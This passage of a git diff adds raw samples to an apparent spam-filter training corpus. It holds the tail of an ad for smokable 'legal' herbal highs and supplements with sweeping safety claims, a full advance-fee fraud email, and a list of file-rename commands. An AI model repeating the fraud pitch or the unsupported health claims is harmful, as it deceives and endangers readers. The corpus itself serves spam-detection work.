more focused, less-scattered ambience. + +Ingredients: + +Temple smoking substances and Temple 3 Ragga Dagga (tm) have always been and will always remain exclusive EXOTIC BOTANICAL RESOURCES "House Smoking Substance Specialties." Temple 3 Ragga Dagga (tm) is both a euphonious/celebratory and relaxing/calming pipe-smoking substance that offers both physical and cerebral significators. Temple 3 Ragga Dagga (tm) is a proprietary, prescribed botanical amalgamation which includes the following synergistically/synesthesia conglomerated, core-refined, ratio-enhanced herbas/botanicals, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1, to 100 to 1 viripotent concentrations Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Hybrid Flowering Turnera Diffusa, Capillaris Herba, Angelica Root, Wild Dagga mature leaf matter, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian stems, Calea Zacalechichi buddings, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshura cuttings. + +Please Note: Temple 3 Ragga Dagga (tm) is an absolutely legal, herba/botanical, "Personal Choice," pipe-smoking substantiality product! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Temple 3 Ragga Dagga (tm). There is certainly no cannabis/marijuana in Temple 3 Ragga Dagga (tm). And although we are not age-governed by law, Temple 3 Ragga Dagga (tm) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Temple 3 Ragga Dagga (tm) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. All things in their time. As well, Temple 3 Ragga Dagga (tm) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physician's care in any regard. + +********************************* +AQUEOUS KATHMANDU +********************************* + +For those who choose not to smoke ... we have something for you. Introducing Aqueous Kathmandu "Happy Drops" (tm). + +Aqueous Kathmandu (tm) "Sensitive/Responsive" Happiness Drops....(Temple "Quantum" Variety)....Indeed; a Happiness Brew from the Kathmandu....a.k.a. "Secret Fire"....from a toke-smoke point of view, if you know what I mean and be groovin' the scene.... Who du the Kathmandu? Now....everybody can du the Kathmandu! (that is, if you're 21 years of age or older....) Aqueous Kathmandu is engaged to holistically inspire and instill "sensitive/responsive"; happiness and mellowness without the detriment of carcinogenic inhalation (smoking). Aqueous Kathmandu is absolutely legal and does not contain any controlled, considered to be harmful or regulated herbs or cannabis/marijuana factors!!!! + +As "smoking" has become so socially taboo over the years and as so many people have asked us for a liquid product, we have long strived to bring a quantum-factored/concentrated liquid product to fruition. This has been no easy task for a variety of botanical and technological reasons. Finally; we are able to say that this task has been accomplished....a "Sensitive" herbal/botanical awakening, if you will....as we have introduced and brought to market Aqueous Kathmandu (tm) Happiness Drops, Temple "Quantum" Variety, a.k.a...."Secret Fire". "Secret fire"....indeed!!! + +This liquid innovation affords us four factors within this particular botanical equation that were previously not realized.... +1) The ability to engage a more substantial, high-ratio, concentrated application of particular botanical factors that are utilized in our personal-choice, "sensitive/responsive" pipe-smoking product. +2) The ability to extract high-ratio concentrates of certain botanical factors that are not applicable to a smoking commodity, as they cannot be extracted into dry format. (Please note....all botanical factors included in all/any of our products are absolutely legal. In the instance of Aqueous Kathmandu, we are simply able to enjoy the advantages of specific legal herbas that just are not dry concentrate-applicable. +3) A most notable assimilation factor....being that liquid is more easily and therefore more generally metabolistically assimilated and as such, more "absolute"; in that herba/botanical applications via the administrative vehicle of "Smoke" possess a much wider variance in just how efficiently that "Smoke" is integrated metabolistically, psychologically and perspectively +4) Therein, we have created a unique uniqueness between a "Smoke" and a "non-Smoke"....sort of like the camaraderie between indicas and sativas, if you will....different aspects of the same botanical genus arrangement. Each "impeccable" singularly.... And at this juncture we will also mention to those of you who are not so anti-smoking something....that Aqueous Kathmandu (tm) Happiness Drops and the more traditional Temple "3" Ragga Dagga (tm) personal-choice, pipe-smoking substance indeed establish an enchanting "camaraderie". (Please refer to, "Introductory Offers".) + +* No need to smoke. No carcinogenic factors! +* Absolutely legal! No prescription required! +* Does not include cannibis or any tobacco variety. +* Marvelously potent. Remarkably substantial! +* Inspires contemplativeness and creativity! +* Adjusts attitude & mood enhancement. Relaxes stress & anxiety. +* Better than Kava Kava, St. John's Wort, etc. Similar to but variant from Ragga Dagga. +* Certainly safer than pharmaceuticals! +* Many fine ganja virtues with none of the negatives! +* Better sleeping ... better dreaming. +* Non-invasive ... no downside. +* An exquisite compliment with Temple 3 Ragga Dagga (tm) -- (See Intro Offers) +* Quite simply ... it is a Superior product! + +Contents: Aqueous Kathmandu is a unique botanical substantiality. It is offered and marketed as such. Undisputedly, it achieves "distinctive accolade" of its own merit.... Aqueous Kathmandu is absolutely legal and does not contain any controlled or regulated or harmful herbs or cannabis factors. However, it is our mandatory ethical policy that Aqueous Kathmandu not be offered to individuals who have not yet attained at least 21 years of age (all things in their time....). Please note as well that Aqueous Kathmandu is not intended for usage during work or while driving. And, as is true of all substance and indulgence, this product should not be enjoyed during pregnancy. This proprietary formulation does include the following quantum-ratio, core-extracted/refined botanicals in an alcohol base as a preservative: Albizzia flower-tops, Drachsha, Chavana Prash, Lactuca Virosa, Hybrid Flowering Turnera Diffusa, Wild Dagga, Capillaris Herba, Angelica Root, Zizyphi Spinosae, Buplerum, Hybrid Valeriana officinalis Root, Albizzia flower-tops, mature Polygonum Vine, Calea Zacatechichi, Crocus Sativa flower-tops, Leonorus Sibricus buds, Cinnabaris, Margarita herba, Biotae Orientalis, Salviae Miltiorrhizae.... Usage Instructions: Shake well. Mix 30-50 drops with juice or water (best on empty stomach). Ambiance lasts about two hours or so. Not intended for use during pregnancy or while working or driving. Keep out of reach of children. + +************************** +STONEY MAHONEY +************************** + +In regard to the introduction of Stoney Mahoney (tm) "personal choice" smoking substantiality product, we have strived for years to develop a consummate "Sensitive/Responsive" (loose-leaf) smoking product, "Amsterdam Cup" style so to speak! + +With acquired knowledge via the development of such notable "personal choice" smokeables, as Wizard Smoke (tm), Dream Smoke (tm), Dragon Smoke (tm), Vajroli Mudra (tm), Stashish (tm), ShemHampHorash (tm), Yerba lena Yesca (tm), Weedé (tm), Kathmandu Temple Kiff (tm) 1 & 2 & 3, which for the most part have been proprietary formulations, of which the rights have been sold to other less aggressive, less developmental companies, we arrived at the lofty "personal choice" smoking status of our premier Ragga Dagga (tm) solid pipe-smoking product. + +After all of this, we had come to the technological and philosophical point of view that we could not conjure a loose-leaf formulation that would provide effectuality that would be more significant than that of our much-heralded Ragga Dagga (tm) solid-format pipe smoking product. Mostly, we were right about this, as this new Stoney Mahoney "agenda" is not so much significant as in "better", but "Signature Significant" as in "uniqueness," in that we chanced upon a new world class, botanical source for the rare "true-brid" variety of Artemisia absinthum (flowering tops only), which at one time in history was distilled into "Absinthe," a greenish, aniseed flavored liqueur which heralded certain euphoric and narcotic attributes which ultimately resulted in it being declared illegal. As well, we have finally perfected our exclusive "kiffening" technique, which inspires and establishes alkaloid and glycoside potentiation (enhancement) on a molecular level. Hence, we introduce (although supply is limited) this highly "potentiated" Stoney Mahoney (tm) smoking product! Loose-leaf "personal choice" doesn’t get any "sweeter" than this! + +And for all of you Ragga Dagga fans, please note that, indeed, it isn’t so much that Stoney Mahoney loose-leaf is more viripotent than the Ragga Dagga solid-format. Moreover, it is that Stoney Mahoney is effective in a much different way than Ragga Dagga. Sort of like apples and oranges, like Panamanian and Jamaican, like Indica and Sativa, if you will! Within our test marketing, even traditional "Kind Bud" aficionados have magnanimously acclaimed this Stoney Mahoney jester variety. Most folks say that Ragga Dagga motivates them in an up "Sativa" sort of way, and that Stoney Mahoney mellows them out or giggles them out in a "soma," Indica sort of way. If Stoney Mahoney has any shortcoming at all, it is quite simply that due to the extreme "kiffening" of this product, it may be to the uninitiated practitioner, a harsh draw. It is for this reason that in addition to the inclusion of a standard herb pipe and package of rolling papers, we also include a brass, personal water-pipe (hookah). As is true for many high-minded folks, a water-pipe filled with chilled water or wine will temperament the demonstrativeness of Stoney Mahoney’s draw. + +* Indica oriented. +* Definitely happy smoking! +* Mood enhancer. +* Smokeable & brewable mood food! +* Good-bye stress, anxiety, & restlessness. +* Sleep deep -- Good-bye funky dreams! +* Hornier than horny goatweed! +* Superlative mixer with Ragga Dagga and/or Aqueous Kathmandu. +* Roll it or bowl it or brew it ... +* Just a pinch goes a long, long way ... +* Possesses many fine ganja virtues with none of the negatives. +* Non-invasive. +* Absolutely Legal! +* Rolling papers, herb pipe & personal brass water pipe (hookah)are included. + +Attention! Attention! We have, by popular demand and in the interest of good economics, created an introductory offer that features both Ragga Dagga and Stoney Mahoney products and, also, still another introductory offer which includes Ragga Dagga, Stoney Mahoney and, for you non-smokers, our Aqueous Kathmandu Happiness Drops (these are pretty special!). And to mention furthermore, for non-smokers, Stoney Mahoney (Jester Variety) loose-leaf product is also a brewable delight. A tea for thee….) + +Please Note: Stoney Mahoney (Jester Variety) (tm) is an absolutely legal, herba/botanical, "Personal Choice," loose-leaf substantiality smoking product! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Stoney Mahoney (Jester Variety) (tm). There is certainly no cannabis/marijuana in Stoney Mahoney (Jester Variety) (tm). And although we are not age-governed by law, Stoney Mahoney (Jester Variety) (tm) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Stoney Mahoney (Jester Variety) (tm) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. As well, Stoney Mahoney (Jester Variety) (tm) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physician's care in any regard. + +Stoney Mahoney (Jester Variety) (tm), factored in an Absinthium Labyrinthine Configuration, is an exclusive, kiffened, loose-leaf, primo modino, "Sensitive/Responsive," Smoking and/or Brewing Herba which may be, depending upon preference, rolled or bowled or brewed. + +As is an herbalist’s way, three or four draws of Smoke should be inhaled and retained. For the non-smoker, it is most appropriate to engage this herba as a potentiated tea/brew. (Steep approximately one tea-spoon of Stoney Mahoney herba per one cup of water for ten minutes or so & strain.) When smoking Stoney Mahoney, please draw gently as Stoney Mahoney is a most preeminent "Sensitive/Responsive" Smoke and may be considered to be a harsh draw to the uninitiated practitioner. (Water-pipe is included with each package of Stoney Mahoney (Jester Variety).) + +Stoney Mahoney contains and is kiffened with the following exotica botanicals and botanical extracts & essences: Dutch Lactuca virosa, Bulgarian Artemisia absinthum (flowering-tops only), Yucatan Turnera aphrodisaca, Chinese Valeriana ceae, Jamaican Verbena officinalis, Spanish Peumus boldo, and European (flowering-tops only) Sarothamnus Scoparius. Stoney Mahoney does not include any tobacco or any cannabis factors. Stoney Mahoney does indeed achieve distinction upon its own merit.... + +************************************************* +************************************************* + +We offer other fine herbal, botanical products including the following: + +1. Sweet Vjestika Aphrodisia Drops (tm); An erotic aphrodisia; sexual intensifier / enhancer liquid amalgamated extract for MEN and WOMEN. + +2. "Seventh Heaven" Prosaka Tablets (tm); a botanical alternative to pharmaceutical medications for calm, balance, serenity and joyful living ... + +3. "Seventh Heaven" Gentle Ferocity Tablets (tm); a most efficacious, non-caffeine, non-ephedrine, non-MaHuang botanical energizer and cutting-edge appetite suppressant... + +4. Extreme Martial Arts Botanical Remedies; Equivalence Tablets & Dragon Wing Remedy Spray ... pain management that works to alleviate pain even for arthritis and fibromyalgia sufferers... + +5. Cockle Doodle Doo (tm) Penile Restorative/Renewal/Enhancement Souffle' ... an exclusive, proprietary blendage created to dramatically/emphatically, aggrandize/enhance & age-inhibit penile skin quality and vascular composure. Soothes, refreshes, provides a youthful Glow & Go sensitivity. + +6. "Hairricane" (tm) -- an Extreme High-Ratio, Dry Botanical Extract Herba Dietary Hair Supplement for Men & Women + +======================================================== + +PRICING INFORMATION: + +1. TEMPLE 3 RAGGA DAGGA (tm) +One .75 oz. jigget/bar $65.00 +One 2.0 oz. jigget/bar $115.00 + +2. AQUEOUS KATHMANDU "HAPPY DROPS" (tm) +One - 2 oz. bottle (90+ usages) $115.00 +Two - 2 oz. bottles $170.00 + +3. STONEY MAHONEY (tm) Jester Variety Loose Leaf +One - 2 oz. package $150.00 +Two - 2 oz. packages $225.00 +Each 2 oz. package of Stoney Mahoney includes +1 pkg. of clipped-rolling papers, a traditional +herb pipe & a brass, personal water-pipe (hookah). + +Sorry, but due to a limited supply of Stoney Mahoney (Jester Variety) only a maximum purchase of two - 2 oz. packages per customer is allowed per order. + +4. SWEET VJESTIKA APHRODISIA DROPS (tm) +One 1.0 oz. bottle $90.00 +Two 1.0 oz. bottles $140.00 + +5. SEVENTH HEAVEN PROSAKA (tm) +One 100 tablet tin $40.00 +Three 100 tablet tins $105.00 +Six 100 tablet tins $185.00 + +6. SEVENTH HEAVEN GENTLE FEROCITY (tm) +One 300 tablet jar $130.00 + +7. Equivalence Tablets - Each bottle contains 90 - 500mg tablets. +** 3-pack (270 tablets) $83.00 +** 6-pack (540 tablets) $126.00 (save $40.00) +** 9-pack (810 tablets) $159.00 (save $90.00) +** 12-pack (1,080 tablets) $192.00 (save $140.00) + +8. Dragon Wing Spray Remedy - Each spray bottle contains 4 liquid oz. +** 3-pack (3 - 4 oz. bottles) $83.00 +** 6-pack (6 - 4 oz. bottles) $126.00 (save $40.00) +** 9-pack (9 - 4 oz. bottles) $159.00 (save $90.00) +** 12-pack (12 - 4 oz. bottles) $192.00 (save $140.00) + +9. Dynamic Duo Introductory Offers +** 3-pack Equivalence Tabs & 3-pack Dragon Wing $126.00 (save $40.00) +** 6-pack Equivalence Tabs & 3-pack Dragon Wing $159.00 (save $50.00) +** 9-pack Equivalence Tabs & 6-pack Dragon Wing $215.00 (save $70.00) +** 12-pack Equivalence Tabs & 9-pack Dragon Wing $271.00 (save $80.00) + +10. COCKLE DOODLE DOO (tm) Souffle +One (1) 2 oz. jar .......... $92.00 +Two (2) 2 oz. jars ......... $176.00 +Six (6) 2 oz. jars ......... $320.00 + +11. "HAIRRICANE" (tm) +** 3 Pack (3 bags of 90 capsules each)..... $102.00 +** 6 Pack (6 bags of 90 capsules each)..... $174.00 (SAVE $30) +** 12 Pack (12 bags of 90 capsules each).... $288.00 (SAVE $40) + +12. ALPHA INTRODUCTORY OFFER +* One (1) 2 oz. pkg. of Stoney Mahoney +* One (1) 2 oz. jigget/bar of Temple 3 Ragga Dagga +Price: $190.00 (Reg. $265.00 Save $75) + +13. BETA INTRODUCTORY OFFER +* One (1) 2 oz. pkg. of Stoney Mahoney +* one (1) 2 oz. pkg. of Temple 3 Ragga Dagga +* One (1) 2 oz. bottle of Aqueous Kathmandu Happiness Drops +Price: $240.00 (Reg. $380.00 Save $140) + +14. INTRO OFFER "A" +* One (1) 2.0 oz. jigget/bar of Temple 3 Ragga Dagga +* One (1) tin (100 tablets) of Seventh Heaven Prosaka +* One (1) jar (300 tablets) of Seventh Heaven Gentle Ferocity +Price: $200.00 (Reg. $285.00 Save $85) + +15. INTRO OFFER "B" +* One (1) 2.0 oz. jigget/bar of Temple 3 Ragga Dagga +* One (1) jar (300 tablets) of Seventh Heaven Gentle Ferocity. +Price: $170.00 (Reg. $245.00 Save $75) + +16. INTRO OFFER "C" +* One (1) 2.0 oz. jigget/bar of Temple 3 Ragga Dagga +* One (1) tin (100 tablets) of Seventh Heaven Prosaka. +Price: $125.00 (Reg. $155.00 Save $30) + +17. INTRO OFFER "D" +* One (1) 2.0 oz. jigget/bar of Temple 3 Ragga Dagga +* One (1) 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. +Price: $150.00 (Reg. $205.00 Save $55) + +18. INTRO OFFER "E" +* One (1) 2.0 oz. jigget / bar of Temple 3 Ragga Dagga +* One (1) 1 oz. bottle of Sweet Vjestika Aphrodisia Drops +* One (1) tin (100 tablets) of Seventh Heaven Prosaka +* One (1) jar (300 tablets)of Gentle Ferocity +Price: $260.00 (Reg. $375.00 Save $115) + +19. INTRO OFFER "F" +* One (1) 2 oz. jar of Cockle Doodle Doo Souffle' +* One (1) 2 oz. jigget/bar of Temple 3 Ragga Dagga +* One (1) 1 oz. bottle of Sweet Vjestika Love Drops +Regular Price $297.00. Yours for only $197.00. SAVE $100.00! + +20. INTRO OFFER "H" +* One (1) 2 oz. bottle of Aqueous Kathmandu +* One (1) 2 oz. bar/jigget of Temple 3 Ragga Dagga +Price: $155.00 (Reg. $230.00 Save $75) + +21. INTRO OFFER "I" +* One (1) 2 oz. bottle of Aqueous Kathmandu +* One (1) 2 oz. bar/jigget of Temple 3 Ragga Dagga +* One (1) 1 oz. bottle of Sweet Vjestika +Price: $235.00 (Reg. $320.00 Save $85) + +22. INTRO OFFER "J" +* One (1) 2 oz. bottle of Aqueous Kathmandu +* One (1) 2 oz. bar/jigget of Temple 3 Ragga Dagga +* One (1) 1 oz. bottle of Sweet Vjestika +* One (1) 300 tablet jar of Gentle Ferocity +Price: $295.00 (Reg. $450.00 Save $155) + +23. INTRO OFFER "K" +* One (1) 2 oz. bottle of Aqueous Kathmandu +* One (1) 1 oz. bottle of Sweet Vjestika +Price: $150.00 (Reg. $205.00 Save $55) + +************************************************** +ORDERING INFORMATION: +For your convenience, you can call us direct with your orders or questions. + +Call 1-623-972-5999 + +Monday - Saturday -- 9:00 AM to 6:00 PM (Mountain Time) + +For all domestic orders, add $7.00 shipping & handling (shipped U.S. Priority Mail). Add $22.00 for International orders. + +==================================================== +To remove your address from our list, click on the following link and send a blank email. mailto:adsub68@btamail.net.cn?subject=Remove + diff --git a/bayes/spamham/spam_2/01400.b444b69845db2fa0a4693ca04e6ac5c5 b/bayes/spamham/spam_2/01400.b444b69845db2fa0a4693ca04e6ac5c5 new file mode 100644 index 0000000..76d04eb --- /dev/null +++ b/bayes/spamham/spam_2/01400.b444b69845db2fa0a4693ca04e6ac5c5 @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Wed Dec 4 11:52:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 0755D16F17 + for ; Wed, 4 Dec 2002 11:52:22 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 04 Dec 2002 11:52:22 +0000 (GMT) +Received: from lugh.tuatha.org (postfix@lugh.tuatha.org [194.125.145.45]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gB456i829197 for + ; Wed, 4 Dec 2002 05:06:44 GMT +Received: from lugh.tuatha.org (localhost [127.0.0.1]) by lugh.tuatha.org + (Postfix) with ESMTP id 5035B3420C; Wed, 4 Dec 2002 05:08:15 +0000 (GMT) +Delivered-To: linux.ie-ilug@localhost +Received: from mail.tuatha.org (node-c-0c73.a2000.nl [62.194.12.115]) by + lugh.tuatha.org (Postfix) with SMTP id 164DD3420E for ; + Wed, 4 Dec 2002 05:07:15 +0000 (GMT) +From: "wilsonkamela400@netscape.net" +To: ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +Message-Id: <20021204050715.164DD3420E@lugh.tuatha.org> +Subject: [ILUG] WILSON KAMELA +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Beenthere: ilug@linux.ie +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Irish Linux Users' Group +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 04 Dec 2002 06:07:07 +Date: Wed, 04 Dec 2002 06:07:07 + +ATTN:SIR/MADAN + + STRICTLY CONFIDENTIAL. + +I am pleased to introduce myself to you.My name is Mr. Wilson Kamela a native of South Africa and a senior employee of mines and natural resources department currently on a trainning course in Holland for few months. + +I am writing this letter to request your assistance in order to redeem an investment with the South African mining Corporation.The said investment, now valued at ($15.5 million dollars ) Fifteen million,five hundred thousand dollars only was purchased by Lucio Harper and contracted out to the South African Mining Corporation in 1977 now recognised as mines and natural resources department.This redeemable investment interest,has now matured since March last year. + +Since MARCH last year, several attempts have been made to contact Lucio Harper without success and there is no way to contact any of his close relatives in whose favour the investment cash value can be paid. + +Since we have access to all Lucio Harper's information,we can claim this money with the help of my partners with the South African Mines and natural resources department.All we have to do is to file claim using you as Lucio Harper's relative. + +I will like to assure you that there is absolutely nothing to worry about,because it is perfectly safe with no risk involved.Please ensure to keep this matter strictly confidential.My partner will file a claim for this money on your behalf from the SouthAfrican mining Corporation.When the claim is approved,you as the beneficiary +will be paid (25%) of the total amouth. + +Since this money can be paid directly into any bank account of your choice,you have responsibility to ensure that my partner and Ireceive(70%)of the total amouth.While the balance (5%) will be set aside for any unforseen expenses in the cause of transfering this money. + +I will appreciate if you can give your assurance and guarantee that our share will be well secured.Please for the sake of confidentiality,reach me on my e-mail address: wilsonkamela3000@mail.com . Please let me know if this proposal is acceptable to you. Kindly reach me immediately with any of the stated contact addresses so that better clearifications +relating to the transaction will be explained to you. + + +Truly yours, +Wilson Kamela. + + + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/spam_2/cmds b/bayes/spamham/spam_2/cmds new file mode 100644 index 0000000..7a20931 --- /dev/null +++ b/bayes/spamham/spam_2/cmds @@ -0,0 +1,1400 @@ +mv 00001.317e78fa8ee2f54cd4890fdc09ba8176 00001.317e78fa8ee2f54cd4890fdc09ba8176 +mv 00002.9438920e9a55591b18e60d1ed37d992b 00002.9438920e9a55591b18e60d1ed37d992b +mv 00003.590eff932f8704d8b0fcbe69d023b54d 00003.590eff932f8704d8b0fcbe69d023b54d +mv 00004.bdcc075fa4beb5157b5dd6cd41d8887b 00004.bdcc075fa4beb5157b5dd6cd41d8887b +mv 00005.ed0aba4d386c5e62bc737cf3f0ed9589 00005.ed0aba4d386c5e62bc737cf3f0ed9589 +mv 00006.3ca1f399ccda5d897fecb8c57669a283 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00198.150ad975a44e356b479b88d8b57edc40 +mv 00199.3536ffa9d7e1b912f6fc649d779cfe5d 00199.3536ffa9d7e1b912f6fc649d779cfe5d +mv 00200.2fcabc2b58baa0ebc051e3ea3dfafd8f 00200.2fcabc2b58baa0ebc051e3ea3dfafd8f +mv 00201.e74734c7cd89b7c55989d585f72b358a 00201.e74734c7cd89b7c55989d585f72b358a +mv 00202.e57a96cc553ecba5064d023695a0f385 00202.e57a96cc553ecba5064d023695a0f385 +mv 00203.5d5cdf03bd9362584adaf6be372d0ba1 00203.5d5cdf03bd9362584adaf6be372d0ba1 +mv 00204.63f9da973535790ffbad9467041433b5 00204.4cf15f97b8ea08bfafab7d5091b8fbe7 +mv 00205.ee9ba1e4fc09cb436f0d0983ecef87cf 00205.ee9ba1e4fc09cb436f0d0983ecef87cf +mv 00206.48642896aca5e7b1efbe0b6fd724aaa5 00206.434bca9a9918edbdb04b93f6618adf90 +mv 00207.47d129a97b8ce8572c9efb4c18a74192 00207.47d129a97b8ce8572c9efb4c18a74192 +mv 00208.c9e30fc9044cdc50682c2e2d2be4c466 00208.c9e30fc9044cdc50682c2e2d2be4c466 +mv 00209.983df148f8b7d7e5d678f1ea6297cad1 00209.983df148f8b7d7e5d678f1ea6297cad1 +mv 00210.2942a339c3792a1010d024e6d6ba032e 00210.2942a339c3792a1010d024e6d6ba032e +mv 00211.4a52fb081c7087c4a82402342751e755 00211.4a52fb081c7087c4a82402342751e755 +mv 00212.87d0c89c4f341d1580908678bf916213 00212.87d0c89c4f341d1580908678bf916213 +mv 00213.b85553a858843eabb7752c6d15aaba5a 00213.b85553a858843eabb7752c6d15aaba5a +mv 00214.39bd955c9db013255c326dbcbb4f2f86 00214.39bd955c9db013255c326dbcbb4f2f86 +mv 00215.0378888fa9823523e61a6b922a4e3b55 00215.0378888fa9823523e61a6b922a4e3b55 +mv 00216.c07de35b7e7f659e3c0c071b30053afa 00216.c07de35b7e7f659e3c0c071b30053afa +mv 00217.f56a722e95d0b6ea580f1b4e9e2e013a 00217.f56a722e95d0b6ea580f1b4e9e2e013a +mv 00218.e921fa1953a3abd17be5099b06444522 00218.e921fa1953a3abd17be5099b06444522 +mv 00219.b1e53bdc90b763f8073f3270e3f6e811 00219.b1e53bdc90b763f8073f3270e3f6e811 +mv 00220.b599bb1ef610ba40d9becc965c0c0da3 00220.b599bb1ef610ba40d9becc965c0c0da3 +mv 00221.775c9348b935d966a9afec954f1e9c27 00221.775c9348b935d966a9afec954f1e9c27 +mv 00222.3ac65af6304056a15115076b1bcc8f69 00222.3ac65af6304056a15115076b1bcc8f69 +mv 00223.b2ab59fb979b4e3d266f15a580d86619 00223.b2ab59fb979b4e3d266f15a580d86619 +mv 00224.1b3430b101a8a8b22493c4948fcbe9cc 00224.1b3430b101a8a8b22493c4948fcbe9cc +mv 00225.a4a58f288601a7e965b358c6e7c6741f 00225.a4a58f288601a7e965b358c6e7c6741f +mv 00226.bd5d6adde04612587537df13d7f81196 00226.bd5d6adde04612587537df13d7f81196 +mv 00227.a2dc608fa0cf81c35ea9f658b24a9004 00227.a2dc608fa0cf81c35ea9f658b24a9004 +mv 00228.238a0547cbbd70a024d7d4376707f201 00228.238a0547cbbd70a024d7d4376707f201 +mv 00229.272500ea65aafe8d05061d11f1164832 00229.272500ea65aafe8d05061d11f1164832 +mv 00230.681e0e97f93d59676937c4223c93da93 00230.681e0e97f93d59676937c4223c93da93 +mv 00231.8c72952de376293bc38d30834c0bb580 00231.8c72952de376293bc38d30834c0bb580 +mv 00232.b5eb658434a4099746a0977a0e6cd084 00232.b5eb658434a4099746a0977a0e6cd084 +mv 00233.3c32285387ebc0675adb029b9e20e581 00233.3c32285387ebc0675adb029b9e20e581 +mv 00234.64c94421011e896adab852386cd314d8 00234.64c94421011e896adab852386cd314d8 +mv 00235.749db1b61dbea4257300c71c9220a4e8 00235.749db1b61dbea4257300c71c9220a4e8 +mv 00236.a46588c69d43e80c618038b95eff2893 00236.a46588c69d43e80c618038b95eff2893 +mv 00237.0faf46ae2bfab24f0464c4a1a0425659 00237.0faf46ae2bfab24f0464c4a1a0425659 +mv 00238.1bc0944812aa14bc789ff565710dc0b5 00238.1bc0944812aa14bc789ff565710dc0b5 +mv 00239.91d2d5c0e8827c4a42cb24733a0859fa 00239.91d2d5c0e8827c4a42cb24733a0859fa +mv 00240.48e29876af05d3b43e0b6a510a8fc837 00240.48e29876af05d3b43e0b6a510a8fc837 +mv 00241.490af8faa6e4b94e0affed327e670dae 00241.490af8faa6e4b94e0affed327e670dae +mv 00242.745749df8cd0da174fd64afc55db4222 00242.745749df8cd0da174fd64afc55db4222 +mv 00243.2fa7ea5c308d2d572c7e8efc679bb6a9 00243.2fa7ea5c308d2d572c7e8efc679bb6a9 +mv 00244.934aa46481d9503c1fd02a964e19de24 00244.934aa46481d9503c1fd02a964e19de24 +mv 00245.9d608575062cc3d6368078006d20f61b 00245.9d608575062cc3d6368078006d20f61b +mv 00246.d314e68151f961425104dbe6a4e3bc9a 00246.d314e68151f961425104dbe6a4e3bc9a +mv 00247.df14a81cd82cf37e4a125dba41ca21e1 00247.df14a81cd82cf37e4a125dba41ca21e1 +mv 00248.2212008dd1bd6e4d2326d8c6ce81d01a 00248.2212008dd1bd6e4d2326d8c6ce81d01a +mv 00249.b6cad7860d56d8265155580a7c80457d 00249.b6cad7860d56d8265155580a7c80457d +mv 00250.ae302eda2386979f6ac6bfff9e9f7137 00250.ae302eda2386979f6ac6bfff9e9f7137 +mv 00251.2ca1d22841d472917231911f63572dfd 00251.2ca1d22841d472917231911f63572dfd +mv 00252.3b352c8a7266026be4f1c1ba89690cfc 00252.3b352c8a7266026be4f1c1ba89690cfc +mv 00253.bd8e0dd85f0f848be89aadbf6d6364dc 00253.bd8e0dd85f0f848be89aadbf6d6364dc +mv 00254.9810c685fa8fd2953b0c07ba7900605f 00254.9810c685fa8fd2953b0c07ba7900605f +mv 00255.f66ad62d19d3e76217eff77eff4eeea2 00255.f66ad62d19d3e76217eff77eff4eeea2 +mv 00256.ea7bc226396ae0cc08004265b5c2eb02 00256.ea7bc226396ae0cc08004265b5c2eb02 +mv 00257.96e9617c812f9d9a8ec77c9008e1e960 00257.96e9617c812f9d9a8ec77c9008e1e960 +mv 00258.eb914ca569df16b9e969cc1ff646033f 00258.eb914ca569df16b9e969cc1ff646033f +mv 00259.c5dcbd525138d61d828298225a61aeab 00259.c5dcbd525138d61d828298225a61aeab +mv 00260.49cb520f5d726da6f1ec32d0e4d2e38f 00260.49cb520f5d726da6f1ec32d0e4d2e38f +mv 00261.e679a9947bd481d47fb1a3d83b482fd5 00261.e679a9947bd481d47fb1a3d83b482fd5 +mv 00262.12fb50ad3782b7b356672a246f4902a6 00262.12fb50ad3782b7b356672a246f4902a6 +mv 00263.32b258c4cc08d235b2ca36fc16074f08 00263.32b258c4cc08d235b2ca36fc16074f08 +mv 00264.8fae38cbbed6a43b40e83aa8496018e4 00264.8fae38cbbed6a43b40e83aa8496018e4 +mv 00265.2b8a59870ad8576be65a7654da7fe1bb 00265.2b8a59870ad8576be65a7654da7fe1bb +mv 00266.12e00174bc1346952a8ba2c430e48bf6 00266.12e00174bc1346952a8ba2c430e48bf6 +mv 00267.15fd4bd56e4a0466d3031f8f16803c8e 00267.15fd4bd56e4a0466d3031f8f16803c8e +mv 00268.a9bc047709bc6362328d3b72998956f2 00268.a9bc047709bc6362328d3b72998956f2 +mv 00269.456d57b46b4c84fe5057b5cc63620057 00269.456d57b46b4c84fe5057b5cc63620057 +mv 00270.1ee4eb635731c5a022fb060bc8cd26e0 00270.1ee4eb635731c5a022fb060bc8cd26e0 +mv 00271.7105f4998a88cbf4036403f61ba60d65 00271.7105f4998a88cbf4036403f61ba60d65 +mv 00272.ff93eff2b9f05ba28efa69d72d78ede2 00272.ff93eff2b9f05ba28efa69d72d78ede2 +mv 00273.c832f32bbe447980ad0095b772343563 